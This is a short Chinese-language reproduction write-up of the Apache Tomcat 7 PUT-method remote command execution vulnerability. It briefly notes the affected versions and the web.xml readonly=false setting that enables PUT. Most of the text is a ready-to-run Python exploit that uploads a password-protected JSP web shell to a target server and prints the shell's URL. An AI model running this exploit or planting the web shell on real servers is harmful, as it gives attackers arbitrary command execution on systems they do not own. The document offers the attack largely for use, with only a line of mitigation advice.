tomcat 远程命令执行漏洞复现

影响范围

Apache Tomcat 7.0.0 - 7.0.81

不受影响的版本

Apache Tomcat 8.x

Apache Tomcat 9.x

漏洞分析

在Tomcat安装目录下的配置文件web.xml中的org.apache.catalina.servlets.DefaultServlet方法下如果该方法有如下代码，即表示Tomcat已开启PUT方法

<init-param> 
      <param-name>readonly</param-name> 
      <param-value>false</param-value> 
</init-param>

确保readonly参数为true（默认值），即不允许DELETE和PUT操作。

exp：

#! -*- coding:utf-8 -*- 

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

try:

    conn = httplib.HTTPConnection(sys.argv[1])

    conn.request(method='OPTIONS', url='/ffffzz')

    headers = dict(conn.getresponse().getheaders())

    if 'allow' in headers and 

       headers['allow'].find('PUT') > 0 :

        conn.close()

        conn = httplib.HTTPConnection(sys.argv[1])

        url = "/" + str(int(time.time()))+'.jsp/'

        #url = "/" + str(int(time.time()))+'.jsp::$DATA'

        conn.request( method='PUT', url= url, body=body)

        res = conn.getresponse()

        if res.status  == 201 :

            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]

            print 'shell:', 'http://' + sys.argv[1] + url[:-1]

        elif res.status == 204 :

            print 'file exists'

        else:

            print 'error'

        conn.close()

    else:

        print 'Server not vulnerable'

except Exception,e:

    print 'Error:', e